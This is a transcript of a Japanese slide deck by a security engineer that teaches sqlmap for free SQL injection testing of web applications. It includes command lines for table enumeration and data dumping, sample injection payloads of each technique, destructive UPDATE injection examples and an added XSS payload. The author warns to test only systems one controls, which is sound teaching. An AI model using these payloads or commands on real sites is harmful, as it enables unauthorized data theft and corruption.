フリーでできるセキュリティweb編(sqlmあpを楽しもう)

35
フフフフフフフ フフフフフフ Web フ SQL Map フフフフフ

Upload: abendcve99990001

Post on 03-Dec-2014

1.970 views

Category:

Documents


2 download

DESCRIPTION

 

TRANSCRIPT

Page 1: フリーでできるセキュリティWeb編(SQLMあpを楽しもう)

フリーでできるセキュリティWeb編

SQL Mapを楽しもう

Page 2: フリーでできるセキュリティWeb編(SQLMあpを楽しもう)

自己紹介

Twitter: abend@number3to4

本内容は、自身の管理外の環境に対して実施しないでください。

セキュリティエンジニア(Webをメインにやってます)

Page 3: フリーでできるセキュリティWeb編(SQLMあpを楽しもう)

はじめに 1

セキュリティの必要性はわかっちゃいるけど、お金かけられないから問題の報告も聞こえないフリするしかない。

その結果、情報漏えい

ゴーストライターいないので、謝罪文も自分で用意しないといけない。

Page 4: フリーでできるセキュリティWeb編(SQLMあpを楽しもう)

はじめに 2

これまで、幾人ものこんな男たちを見てきた

そんな残念な人たちを減らす方法はないのか。

Page 5: フリーでできるセキュリティWeb編(SQLMあpを楽しもう)

以前インフラン編を

こんな方向性に達したので、以前 Nessusを使ったフリーでできるセキュリティ対策ということでインフラ編をご紹介しました。

http://www.slideshare.net/abend_cve_9999_0001/nessus-27925695

<方針>・セキュリティ会社にカネを払わず・有償ツールや有償のサポートを使わず・がんばらず

<結論>自分で公開されているフリー(無料)なツールをかけてみる。

Page 6: フリーでできるセキュリティWeb編(SQLMあpを楽しもう)

今回はWeb編

今日は、①の中でさらに SQLインジェクションに特化したツールを紹介します。

IPA 「安全なウェブサイトの作り方」より

Webアプリケーションの項目はいろいろあるが。。。

Page 7: フリーでできるセキュリティWeb編(SQLMあpを楽しもう)

SQL Injection1

外部から悪意のあるリクエストによりデータベースの不正操作が可能な脆弱性

Application Server

攻撃者

認証の迂回情報漏洩データの破壊・改竄

Database

どんな被害が?

・ 認証の迂回によるサービスの不正利用

・ データベースに保存された情報の漏洩

・ データの破壊や改竄

Page 8: フリーでできるセキュリティWeb編(SQLMあpを楽しもう)

SQL Map1

SQLインジェクションに特化したツールで、検出( detecting)や利用( exploiting)を目的としたもの。 Python2.6 or 2.7

http://sqlmap.org/

./sqlmap.py --updateだとエラーになってしまったのでgit clone https://github.com/sqlmapproject/sqlmap.gitで、最新版を GETするしかなかった。

Page 9: フリーでできるセキュリティWeb編(SQLMあpを楽しもう)

SQL Map2

SQLインジェクションの検査と検出まで半自動的にやってくれるので

アプリケーションによっては、悪意はないが意図せずデータの 改ざん変更が発生する可能性はあるので、要注意。

テスト環境での実施を強く推奨。

Page 10: フリーでできるセキュリティWeb編(SQLMあpを楽しもう)

オプション結構あるんです

TargetRequestOptimizationInjectionDetectionTechniquesFingerprintEnumeration

Brute forceUser-defined function injectionFile system accessOperating system accessWindows registry accessGeneralMiscellaneous

オプションがいっぱいあって、グループ化されているが、オプショングループだけでも、こんな感じ。

色々とカスタマイズもできるので、自分好みに変更可能。

Page 11: フリーでできるセキュリティWeb編(SQLMあpを楽しもう)

どう動かすか①  普通に動かす( GET )「 ./sqlmap.py –u ”http://xxxxx/yyy?id=1”」

②   POST データの場合は「 ./sqlmap.py –u ”http://xxxxx/yyy?id=1” –-data=”p1=value1&p2=value2”」※この場合、「 id」、「 p1」、「 p2」も SQLiしてしまう。

③  特定のパラメータのみの場合は「 ./sqlmap.py –u ”http://xxxxx/yyy?id=1” –-data=”p1=value1&p2=value2” –p p1」※「 -p」オプションでターゲットを指定する(複数の場合はカンマ区切り)

④   Cookie を指定する場合は「 ./sqlmap.py –u ”http://xxxxx/yyy?id=1” –-cookie=”c1=value1;c2=value2”」

⑤   UserAgent を指定する場合は「 ./sqlmap.py –u ”http://xxxx/yyy?id=1”--user-agent=”xxxx”」

⑥  特定のヘッダを追加する場合は「 ./sqlmap.py –u ”http://xxxxx/yyy?id=1” –headers=”x:x\ny:y”」※\nで複数挿入可能

Page 12: フリーでできるセキュリティWeb編(SQLMあpを楽しもう)

こんな使い方も 1

トラブルや検査時間の軽減のために、データベースを指定しておく。※ブラックボックスでの検査の場合はダメです。

--dbms=DBMS名

Firebird, Sybase, MySQL, Oracle, SQLite, PostgreSQL, IBM DB2, SAP MaxDB, HSQLDB, Microsoft Access, Microsoft SQL Server

DBを特定することで検査するパターンが減ります。検査するパターンが減るということは、トラブルが起こる可能性も減ります。

Page 13: フリーでできるセキュリティWeb編(SQLMあpを楽しもう)

こんな使い方も 2

コンテンツがいっぱいあって、何がなんだか分からないのなら

--crawl=X Xは数字

Aタグを自動的にクローリングし、勝手にチェックしてくれる Xを大きい値にすれば、より深くチェックをできる可能性がある。

FORMタグも含める場合は、「 --forms」を付加する必要あり。

※JavaScriptなどを用いて POSTパラメータの値を生成している 場合は、うまく動作していなかった。※入力値制限のあるパラメータ(数字以外の入力 NGなど)が 存在する場合もダメ(だと思う)。

Page 14: フリーでできるセキュリティWeb編(SQLMあpを楽しもう)

こんな使い方も 3

通常、インタラクティブな動作をするが、 --batchオプションで質問に対して defaultの回答をしてくれるようになる。

特定の質問に対して、 default以外の回答をしたい場合は、 --answerオプションで回答を事前にセットしておくことで、チェックだけは自動的に行うことも可能。

Page 15: フリーでできるセキュリティWeb編(SQLMあpを楽しもう)

こんな使い方も 4

Burpのログをくわせて、チェックすることもできるんです。「 ./sqlmap.py –l=”パス”」

リクエストヘッダもそのまま使われるので、要注意。

Requestのみを保存してそれを食わせるだけ。

複数のリクエストも対応可能。

Page 16: フリーでできるセキュリティWeb編(SQLMあpを楽しもう)

こんな使い方も 5

Basic認証、 Digest認証、 NTLM認証にも対応してます。

「 ./sqlmap.py –u ”http://xxxxxx/yyyy” –auth-type Basic –auth-cred ”username:password”」

Page 17: フリーでできるセキュリティWeb編(SQLMあpを楽しもう)

ログが大事 1

標準出力に関して

「 ./sqlmap.py –u ”http://xxxxx/yyy?id=1” -v 6」

Verbosity level: 0-6 (default 1)

0は Errorがあったら出力。1は INFO(どんなテストしたよっていう情報も)2は DEBUG(どんなテストをスキップしたよっていう情報も)3は PAYLOAD(具体的にどんなもを投げたかっていう情報も)4は TRAFIC_OUT(生のリクエストも)5は TRAFIC_IN(生のレスポンスヘッダも)6は TRAFIC_IN(生のレスポンスボディも)

Page 18: フリーでできるセキュリティWeb編(SQLMあpを楽しもう)

ログが大事 2

「 -v 4」以上で生のリクエストも標準出力される。

[00:21:38] [PAYLOAD] top') AND 7623=7623 AND ('hQBZ'='hQBZ[00:21:38] [TRAFFIC OUT] HTTP request [#11]:GET /WithUS/MainController?Cmd=top%27%29%20AND%207623%3D7623%20AND%20%28%27hQBZ%27%3D%27hQBZ HTTP/1.1Accept-language: en-us,en;q=0.5Accept-encoding: gzip,deflateAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8User-agent: sqlmap/1.0-dev (http://sqlmap.org)Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7Host: 192.168.80.143Pragma: no-cacheCache-control: no-cache,no-storeConnection: close

Page 19: フリーでできるセキュリティWeb編(SQLMあpを楽しもう)

ログが大事 3

なにが起こるか分からないから、リクエスト&レスポンスのすべてのログは取った方がよい。

「 ./sqlmap.py –u ”http://xxxxx/yyy?id=1” -t ログ名 – batch > チェック結果」

「 -t」オプションでリクエスト&レスポンスがログ出力されるので、 「 -t」オプションさえちゃんとつけていれば、「 -v」オプションは 3でいいのでは。

チェック結果に関して、リダイレクトでいいが「 --batch」オプションつけないと、インタラクティブだと戻ってこない。

Page 20: フリーでできるセキュリティWeb編(SQLMあpを楽しもう)

なぜログが大事なのか 1

チェックする内容によっては、データが消えたり、サービス停止など予期しない事態が発生する可能性もあり、ちゃんとログは保全しよう。

不測の事態が発生した場合でも、あとで把握できるようにする必要がある。なぜなら・・・

Page 21: フリーでできるセキュリティWeb編(SQLMあpを楽しもう)

なぜログが大事なのか 2

まずいパターン①

UPDATE table SET password = ’ xxx’ WHERE id = 1 OR 1 = 1

「 or」を使うと全員のパスワードが「 xxx」になってしまう。

まずいパターン②

UPDATE table SET password = ’ xxx’ WHERE flg = 1;SELECT 0;-- AND id = 1

複文やコメントアウトした場合に、後続の条件が評価されないため、「 flg」が 1であるユーザのパスワードが「 xxx」になってしまう。

後が評価されない

なので、テスト環境での実施を推奨。バックアップもちゃんと取っておこう。

Page 22: フリーでできるセキュリティWeb編(SQLMあpを楽しもう)

禿しく注意しよう「 --risk」でリスクのある(または少ない)パターンで検出するように指定ができる。

「 --risk 3」を気軽に使うのは

「 --risk 1」の場合( default)Innocuous(ほんとか?)のパターンで実施

「 --risk 3」の場合risk 2にリスクの高い or-based SQLが追加される。

「 --risk 2」の場合risk 1に時間がかかる time-based SQLが追加される。

Page 23: フリーでできるセキュリティWeb編(SQLMあpを楽しもう)

こんなグルーピングチェックするパターンは、 6分類

・ Inline query・ Boolean-based blind・ Time-based blind・ Error-based・ Union query・ Stack queries

Page 24: フリーでできるセキュリティWeb編(SQLMあpを楽しもう)

こんなグルーピング

・ Inline query

(SELECT CONCAT(0x716d7a6d71,(SELECT (CASE WHEN (5543=5543) THEN 1 ELSE 0 END)),0x717a716371))qmzmqと qzqcqが文字連結されるか評価

・ Boolean-based blind

' AND 4908=2320 AND 'TFah'='TFah文字リテラル、数字リテラルに対応した条件式を評価

・ Time-based blind

' AND SLEEP(5) AND 'ybNW'='ybNWスリープなどの時間変化を評価

各分類の投げているものを一例抜粋

Page 25: フリーでできるセキュリティWeb編(SQLMあpを楽しもう)

こんなグルーピング

・ Error-based

' AND (SELECT 4789 FROM(SELECT COUNT(*),CONCAT(0x7173757271,(SELECT (CASE WHEN (4789=4789) THEN 1 ELSE 0 END)),0x716b686971,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'aAGw'='aAGwエラー発生を評価

・ Union query

') UNION ALL SELECT NULL,NULL,NULL#Union Selectを評価

・ Stack queries

'; SELECT SLEEP(5)--複文を評価

Page 26: フリーでできるセキュリティWeb編(SQLMあpを楽しもう)

モロ画像①  テーブルの一覧が出力される「 ./sqlmap.py –u ”http://xxxxx/yyy?id=1” --tables」

②  データが出力される「 ./sqlmap.py –u ”http://xxxxx/yyy?id=1” --dump」

Page 27: フリーでできるセキュリティWeb編(SQLMあpを楽しもう)

違う観点で 1

xml/payload.xmlにチェック値が定義されているので、ここにSQLi以外をセットすることで、別な項目もチェックできるのでは?っていうことで、以下を追加してみた。

<!-- XSS Test --> <test> <title>XSS Test</title> <stype>1</stype> <level>1</level> <risk>1</risk> <clause>1</clause> <where>1</where> <vector></vector> <request> <payload><![CDATA["><script>alert([RANDNUM])</script>]]></payload> </request> <response> <comparison></comparison> </response> </test>

Page 28: フリーでできるセキュリティWeb編(SQLMあpを楽しもう)

違う観点で 2

結果は、

[19:28:09] [INFO] testing 'XSS Test'[19:28:09] [PAYLOAD] 1) None AND (5500=5500[19:28:09] [PAYLOAD] 1) "><script>alert(7187)</script> AND (2926=2926[19:28:09] [PAYLOAD] 1) None AND (8172=8172[19:28:10] [PAYLOAD] 1 None[19:28:10] [PAYLOAD] 1 "><script>alert(7187)</script>[19:28:10] [PAYLOAD] 1 None[19:28:10] [PAYLOAD] 1 None-- MkEq[19:28:10] [PAYLOAD] 1 "><script>alert(7187)</script>-- Xwmd[19:28:11] [PAYLOAD] 1 None-- PtGV[19:28:11] [PAYLOAD] 1') None AND ('VUxP'='VUxP

Page 29: フリーでできるセキュリティWeb編(SQLMあpを楽しもう)

違う観点で 3

それっぽいが、あんまりうまくいってない。詳細仕様を確認する必要がありそう。

SQLiのためのツールで別項目をチェックさせる診断士が、かよわき子羊ならば、 SQL Mapは脆弱なサイトの代弁者なのか。

SQLiからの卒業

もっとがんばれば、他の項目をいい感じにチェックできるのでは。

Page 30: フリーでできるセキュリティWeb編(SQLMあpを楽しもう)

どこでも SQLi1

Android 端末からも Injectできる時代に突入。

Page 31: フリーでできるセキュリティWeb編(SQLMあpを楽しもう)

どこでも SQLi2

オプションの設定がしやすい。

Page 32: フリーでできるセキュリティWeb編(SQLMあpを楽しもう)

どこでも SQLi3

どうやるのか。

ポチポチ押してみた。

Page 33: フリーでできるセキュリティWeb編(SQLMあpを楽しもう)

どこでも SQLi4いきなり、ぶっこみ始めた。確認とかないんかい。

※ キャプチャのため、自身の環境で取り直してます。

Page 34: フリーでできるセキュリティWeb編(SQLMあpを楽しもう)

こうやってやるんですいきなり Injectをするなんて、脆弱・即・斬。

牙突零式並みのゼロ距離射程。危険なので、マネしないで。

Page 35: フリーでできるセキュリティWeb編(SQLMあpを楽しもう)

さいごにこんな場合にチェックできないまたは漏れてしまうので、要注意。

すべてを見つけることができないので、ホワイトボックスなどの別な手法と組み合わせることを推奨します。

④ 新しい攻撃手法でないと検知できない場合  ※自分で作るか更新を待つ必要が出てくる

③  SQL Mapの検出ロジックに不備がある場合

② 特定のパラメータの値を変更するとセッションが壊れてしまう場合  ※パラメータの特定をして、対象外にすればチェックはできる

①  CAPTCHAやワンタイムトークンなど毎回異なる値を送信しない  といけない場合

④ 不適切なエンコードされた文字列を悪用したパターンでしか  発現しない場合( SQL Mapでは試していないので多分)  ※詳細は IPAの安全な SQLの呼び出し方 付録を参照願います。